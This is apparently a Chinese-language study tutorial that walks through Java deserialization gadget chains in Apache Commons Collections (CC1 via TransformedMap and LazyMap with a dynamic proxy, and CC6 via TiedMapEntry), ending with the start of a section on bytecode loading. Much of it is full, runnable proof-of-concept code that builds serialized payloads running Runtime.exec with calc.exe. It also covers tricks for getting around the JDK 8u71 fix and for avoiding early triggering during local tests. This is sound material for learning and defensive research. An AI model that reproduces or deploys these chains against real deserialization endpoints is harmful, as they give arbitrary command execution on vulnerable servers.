        // 原始Map(未被装饰)
        Map normalMap = new HashMap();
        normalMap.put("name", 123);
        normalMap.put("city", "beijing");
        System.out.println("未使用TransformedMap的结果:");
        System.out.println(normalMap);
        // 输出: {name=123, city=beijing}

        // 定义Key转换器:转大写
        Transformer keyTransformer = new Transformer() {
            public Object transform(Object input) {
                return input.toString().toUpperCase();
            }
        };

        // 定义Value转换器:加后缀
        Transformer valueTransformer = new Transformer() {
            public Object transform(Object input) {
                return input.toString() + "_suffix";
            }
        };

        // 创建一个新的Map并应用装饰器
        Map rawMap = new HashMap();  // 被装饰的Map
        Map transformedMap = TransformedMap.decorate(rawMap, keyTransformer, valueTransformer);

        transformedMap.put("name", 123);
        transformedMap.put("city", "beijing");

        System.out.println("\n使用TransformedMap之后的结果:");
        System.out.println(rawMap);
        // 输出: {NAME=123_suffix, CITY=beijing_suffix}
    }
}

通过定义一个Key转换器和Value转换器,我们成功实现了让Key转大写以及Value后面加后缀的功能。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,也是一个返回固定值的转换器,无论输入什么,始终返回一个固定值,常用于返回某个类的 Class 对象、反射对象等,作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作:

public class ConstantTransformer implements Transformer {
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
}

比如 new ConstantTransformer(Runtime.class),调用 .transform(anything) 就会返回 Runtime.class

InvokerTransformer

InvokerTransformer 也是 Transformer 接口的一个实现,作用就是:给定方法名和参数,通过 Java 反射机制调用对象的某个方法:

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        try {
            Method method = input.getClass().getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception e) {
            throw new FunctorException("InvokerTransformer failed", e);
        }
    }
}

实例化他的时候需要传入三个参数,第一个参数是待执行的方法名,第二个参数是函数参数的类型,第三个参数是传给该函数的参数,比如下面的例子:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Example_2 {
    public static void main(String[] args) {
        // 创建一个 InvokerTransformer,调用 toUpperCase 方法,无参数
        Transformer transformer = new InvokerTransformer(
                "toUpperCase",
                null,
                null
        );

        Object result = transformer.transform("taffy");
        System.out.println(result); // 输出:TAFFY
    }
}

这里我们就利用InvokerTransformer 通过反射调用了一次toUpperCase方法,把小写的taffy转成了大写的TAFFY

ChainedTransformer

ChainedTransformer 实现了 Transformer 接口,内部维护一个 Transformer[] 数组,依次执行每个 transform(),前一个的输出作为后一个的输入:

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object input) {
        Object result = input;
        for (int i = 0; i < iTransformers.length; i++) {
            result = iTransformers[i].transform(result);
        }
        return result;
    }
}

比如下面的代码:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Example_3 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("toUpperCase", null, null),
                new InvokerTransformer("getClass", null, null),
                new InvokerTransformer("getName", null, null)
        };

        Transformer chained = new ChainedTransformer(transformers);
        Object result = chained.transform("taffy");

        System.out.println(result);  // 输出 java.lang.String
    }
}

在这里的代码中,我们首先调用 toUpperCase 将字符串变成了大写的TAFFY,接着调用 getClass() 获得 String.class,最后调用 getName() 获得 "java.lang.String"

代码分析

现在回到代码我们应该就好理解的多了,第一段的代码:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

这里我们其实就是创建了一个 ChainedTransformer 来实现多个 Transformer 之间的连接。首先是一个是ConstantTransformer ,他直接返回了环境里的 Runtime.class ,一个Runtime对象,接着是一个 InvokerTransformer ,他调用了Runtime对象里的exec⽅法(第一个ConstantTransformer返回后我们现在就是Runtime对象了),传入的参数类型是String,具体的参数是calc.exe

不过这个transformerChain只是一系列的回调,我们还需要使用它对innerMap进行包装,使用的就是我们之前提过的TransformedMap ,这也是最后这段代码的由来:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后我们通过向Map放入元素触发回调(前文提过,TransformedMap是在put的时候触发的):

outerMap.put("test", "xxxx");

不过这个demo里最后的 outerMap 是不能序列化,还有一些其他的问题。

如何进行序列化

触发TransformedMap的核心是使用put,手工执行当然无所谓,但是真正反序列化的时候我们还得找到一个类,它在readObject的时候存在写入,这样才能成功执行我们的恶意代码。

AnnotationInvocationHandler

这个我们想找的存在写入的类就是sun.reflect.annotation.AnnotationInvocationHandler:

 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…)。这里的memberValue其实是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值,而在 setValue 这里一旦设置值就会触发TransformedMap里注册的 Transform,进而执行代码。

Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue()

POC构造

这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是内部的类,不能直接使
用new来实例化,因此这里使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了,然后我们就可以创建一个AnnotationInvocationHandler并且把前面构造的hashmap设置进来。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

newInstance这里有两个参数,第二个参数传入的自然就是我们之前创建好的恶意Map,那这个Retention.class是什么呢?我们直接看到AnnotationInvocationHandler的构造方法:

可以看到第二个参数是一个Map,而第一个参数是一个Class<? extends Annotation>,也就是说第一个参数必须是Annotation的子类,至于为什么最后选择了 Retention.class呢?过会儿再说(*^_^*)

现在当我们加上序列化的部分,我们的完整代码是:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

很可惜,这个代码是跑不通的:

错误原因这里说的也很明显,就是Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列
化,因此这里我们需要利用反射,而不是直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换一下写法:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new String[]{
                                "calc.exe"}),
        };

以前通过ConstantTransformer 获取 Runtime.getRuntime() 得到的是java.lang.Runtime对象,无法序列化,现在变成了Runtime.class,是java.lang.Class 对象,Class类有实现Serializable接口,所以可以被序列化,然后我们通过getMethod 和 invoke就能愉快的执行命令了——吗?其实还是不行的:

我们看到最初readObject的代码,它的最后其实是有一个判断的,必须保证 if (var7 != null),那如何保证这个var7不为null呢?回看最初的AnnotationInvocationHandler构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

var1会被赋值给this.type,var2会被赋值给this.memberValues,而当我们在反序列化的时候,进入readObject方法,执行了这么一段代码:

var2 = AnnotationType.getInstance(this.type);

我们看到AnnotationType.getInstance,这里我们传入的this.type即是Retention.class:

可以看到这里进行了一次new AnnotationType(var0),我们再看到AnnotationType:

这里的var2的值其实就是Retention的方法列表,而Retention其实只有一个value方法:

从代码里可以看出来,var2的值最后赋值给了var3,通过一个循环把方法列表var3中的方法取出存在var6,然后用String var7 = var6.getName()把方法名存在var7:

最后这个this.memberTypes.put(var7, invocationHandlerReturnType(var8))将var7作为键值存入了memberTypes。而在getInstance中可以看出到var2的memberTypes是个HashMap,他的第一个元素的键值就是Retention的方法”value”这个字符串

回到readObject,这里var2出来以后,他的memberTypes赋值给了var3,即:

Map var3 = var2.memberTypes();

继续往下,var6是var5的key,也就是“value”:

String var6 = (String)var5.getKey();

终于走到var7,最后var7这的代码是:

Class var7 = (Class)var3.get(var6);

其实就是var7=var3.get(“value”),而我们var3的键就是value,所以var7不会为null,就执行了我们想要的setValue了,所以最后能跑通的代码里,我们需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx");

不过这个代码在Java 8u71以前还能跑通,再往后就通不了了,我前面用的环境是8u65:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new String[]{
                                "calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

LazyMap

值得注意的是,上面的代码是只有低版本有效的,导致yso内部其实用的不是这条链子。高版本之后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了,因此在yso中选择了LazyMap而不是TransformedMap进行利用。

LazyMap 是 Apache Commons Collections 提供的一个装饰器模式的 Map,用于在访问不存在的键时,“懒加载”地计算并插入值。也就是说 LazyMap 其实是 Map 的一种特殊实现,当访问某个 key,如果这个 key 不存在,会自动使用一个 Transformer 来生成 value,并插入 Map 中,比如下面的代码例子:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class LazyMapExample {
    public static void main(String[] args) {
        // 创建基础的 map
        Map baseMap = new HashMap();

        // 创建 Transformer,用于生成默认值
        Transformer transformer = new ConstantTransformer("default-value");

        // 创建 LazyMap,访问不存在的 key 时使用 transformer 生成 value
        Map lazyMap = LazyMap.decorate(baseMap, transformer);

        // 正常 put/get
        lazyMap.put("name", "taffy");
        System.out.println(lazyMap.get("name")); // 输出: taffy

        // 访问不存在的 key,会触发 transformer
        System.out.println(lazyMap.get("nonexistent")); // 输出: default-value
    }
}

可以看到,如果我们访问不存在的key,就触发了我们之前预定设置好的transformer,返回了default-value,是不是有点像php反序列化里的某个魔术方法?也是访问不存在的东西之后进行触发。

因此LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执
行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap
的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

并且这个factory其实是我们可控的:

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以我们只需要传入Map和transformerChain就可以构造一个LazyMap:

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

不过LazyMap的后续利用稍微复杂一些,sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map 的get方法,而是使用了AnnotationInvocationHandler.invoke():

这里确实使用了一次get,那么现在问题就变成了如何调用这个AnnotationInvocationHandler.invoke()了,而解决这个问题的办法就是对象代理。

对象代理

Java 的对象代理机制主要有两种方式:静态代理动态代理。这两种方式的核心思想是:通过“代理类”来间接访问“目标对象”,可以在调用目标对象的方法时加入一些增强逻辑,比如权限校验、日志记录、事务管理等。

动态代理就是在运行时,动态地生成某个接口的实现类对象,并实现它的方法逻辑。而不像平时那样手动写类去 implements 接口,我们通过代码“即时”构造出这个实现类——这就叫动态。

首先,我们需要实现一个接口(这是一个抽象类型,是抽象方法的集合,接口通常以interface来声明。一个类通过继承接口的方式,从而来继承接口的抽象方法):

interface Service {
    void doSomething();
}

接着我们需要定义一个 InvocationHandler,这个类是干活的“幕后黑手”,所有的方法调用都会走到这里,然后我们可以控制是直接执行、做点额外处理、甚至不执行:

class MyHandler implements InvocationHandler {
    private final Object target;

    public MyHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用前:" + method.getName());
        Object result = method.invoke(target, args);
        System.out.println("调用后:" + method.getName());
        return result;
    }
}

然后我们需要使用 Proxy.newProxyInstance() 生成代理对象,它会生成一个实现了 Service 接口的匿名类对象,并把调用都交给提供的 handler 来处理

Service proxy = (Service) Proxy.newProxyInstance(
    Service.class.getClassLoader(),      // 1. 接口的类加载器
    new Class[]{Service.class},          // 2. 接口数组(至少要传一个)
    new MyHandler(new RealService())     // 3. InvocationHandler,告诉代理对象怎么做事
);

最后,我们只需要使用代理对象像平时一样调用方法即可,而此时实际上走进了 MyHandler.invoke() 方法:

proxy.doSomething();

总而言之,动态代理的本质是:通过 Proxy 在运行时创建一个实现接口的匿名类,并把对接口方法的调用转发给 InvocationHandler 实例的 invoke() 方法。

package com.CC;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

interface Service {
    void doSomething();
}

class RealService implements Service {
    public void doSomething() {
        System.out.println("真正的服务执行了");
    }
}

class MyHandler implements InvocationHandler {
    private final Object target;

    public MyHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用前:" + method.getName());
        Object result = method.invoke(target, args);
        System.out.println("调用后:" + method.getName());
        return result;
    }
}

public class DynamicProxy_Example {
    public static void main(String[] args) {
        Service proxy = (Service) Proxy.newProxyInstance(
                Service.class.getClassLoader(),      // 1. 接口的类加载器
                new Class[]{Service.class},          // 2. 接口数组(至少要传一个)
                new MyHandler(new RealService())     // 3. InvocationHandler,告诉代理对象怎么做事
        );

        proxy.doSomething();  // 实际调用代理对象的方法
    }
}

使用LazyMap构造利用链

回到源码,sun.reflect.annotation.AnnotationInvocationHandler 其实就是一个InvocationHandler,我们如果用AnnotationInvocationHandler去代理我们设计好的Map的话,那么这个Map执行任意的方法都会走invoke从而触发get,从而走我们的链子触发RCE:

事实上我们只需要稍微修改一下上一节给出的代码,首先用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

接着对sun.reflect.annotation.AnnotationInvocationHandler进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

但就算Proxy完我们也不能直接进行序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,还要用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

现在的代码如下:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class easycc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new String[]{
                                "calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

//        innerMap.put("value", "xxxx");
//        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//
//        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//        construct.setAccessible(true);
//        Object obj = construct.newInstance(Retention.class, outerMap);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

在高版本的AnnotationInvocationHandler里的方法readObject中,我们传入的Map不会再执行set或put操作,因此该链子还是没用了,我们现在的Gadget如下(readObject里有一步对我们的LazyMap进行了entrySet,而经过对象代理后,对LazyMap的任何方法调用都会走AnnotationInvocationHandler的invoke,继而触发get查询为空,最后触发LazyMap的transform执行恶意代码,整个过程最后就串起来了):

ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

CommonsCollections6

上面说到,在8u71之后AnnotationInvocationHandler#readObject的逻辑发生了变化,不再对我们传入的Map进行set或者put,导致我们之前的链子打不通了,那么如何在高版本下解决这个问题呢?我们来看看p神给出的简化版gadget:

我们主要看从开始到LazyMap.get()的部分,因为后面的过程和CC1的链子其实是一样的,想要在高版本下实现RCE的思路其实也比较明显,就是找到一个能触发LazyMap.get()的地方,上一章里我们是通过动态代理,从 AnnotationInvocationHandler.readObjectthis.memberValues.entrySet() 再到 AnnotationInvocationHandler.invoke() 最后触发的这个invoke里的get。而在高版本下,我们的解决办法是走 org.apache.commons.collections.keyvalue.TiedMapEntry.getValue

在实例化的时候我们可以直接控制他的map和key,而getValue这里直接调用了 this.map.get(this.key),可谓非常舒服。而再回头看,他的 hashCode 方法又执行了 this.getValue()

那么哪里调用了这个 TiedMapEntry#hashCode 呢,gadget里是选择了 HashMap.hash(),是不是有点眼熟,这个其实在URLDNS里出现过,HashMap的readobject里调用了hash,就是那行 putVal(hash(key), key, value, false, false),而 HashMap.hash() 触发了 key.hashCode()

所以现在思路非常清晰了,我们只要在这里控制 key 为 TiedMapEntry ,整个链子就又串起来了。

首先,我们来创建一个恶意Map:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

稍微不同的是,为了避免本地调试时就出现命令执行,这里我们需要先使用一个人畜无害的 fakeTransformers,等最后生成payload的时候再把真的Transformers写进去,因此现在代码长这样:

Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1) };

// 传入fake防止序列化时执行
        Transformer transformerChain = new ChainedTransformer(faketransformer);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

接着我们将这个恶意outerMap作为 TiedMapEntry 的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

然后为了调用TiedMapEntry#hashCode(),我们还需要将tme作为一个全新的HashMap的key:

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,设置真正的 transformers ,将这个 expMap进行序列化,

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

不过现在这个代码其实还是跑不通的,因为expMap.put(tme, "valuevalue")这句代码其实也触发了一次hash,具体而言触发的是 hash(key),毕竟我们的expMap也是一个HashMap,导致LazyMap的链子此时其实提前调用了一遍,而且因为当时使用的还是 faketransformer ,所以也没有执行代码,解决办法也很简单,把这个key移除了让他触发不了即可(注意,这里 expMap 触发的是 tme 的key,而 tme 的key是”keykey”,调用TiedMapEntry的构造函数时,第一个参数是Map,这里是我们的恶意Map,而第二个参数是key,即”keykey”):

outerMap.remove(“keykey”)

完整的代码:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

现在对着最初的Gadget,我们来回忆一下整个过程,通过 TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey")以及后面对于恶意transformer的替换,我们实现了对TiedMapEntry使用恶意transformer实例化,只要触发他的TiedMapEntry#get即可触发恶意代码。为了触发 TiedMapEntry#get ,我们需要触发 TiedMapEntry#getValue();而为了触发 TiedMapEntry#getValue(), 我们需要需要触发TiedMapEntry#hashCode();为了触发TiedMapEntry#hashCode,我们想到了最初URLDNS链子里的HashMap,因为HashMap#readobject里触发了HashMap#hash(),而HashMap#hash()可以触发key.hashCode(),所以我们需要使用Map expMap = new HashMap(); expMap.put(tme, "valuevalue"),将已经装好恶意 Map 的 TiedMapEntry 对象 tme 作为 expMap 的 key ,因为这样在HashMap readobject的时候就可以触发HashMap#hash()从而触发key.hashCode()TiedMapEntry#hashCode(),然后一路执行直到我们最后的恶意代码。

Java中动态加载字节码

Java字节码

Java 里的字节码是 Java 程序编译后生成的一种中间表示形式,它不是纯机器码,也不是源代码,而是介于两者之间的 “可移植的指令集”,这就要说到一个有趣的点,因为 Java 程序的执行其实不直接依赖具体操作系统或硬件架构,而是由 JVM(Java Virtual Machine,Java虚拟机)来负责解释执行或编译为本地机器码。

JVM是Java为了实现跨平台而引入的,Java的核心设计理念叫做:Write Once, Run Anywhere(一次编写,到处运行),所以 Java 把源代码编译成中间格式 —— 字节码(.class 文件),这个中间格式不会直接运行在操作系统上,而是运行在各平台提供的 JVM 上。因此我们在命令行里看到的程序输出,其实是JVM执行之后输出的,而不是真的由我们的操作系统执行的结果,你甚至可以使用kotlin等等非java的语言编写程序,只要你的编译器能将其编译成.class文件,他们都可以在JVM上运行。

因此这里我们所说的字节码非常广义,只要他是能被恢复成类并在JVM里执行的字节序列,我们都认为他是一种Java字节码。

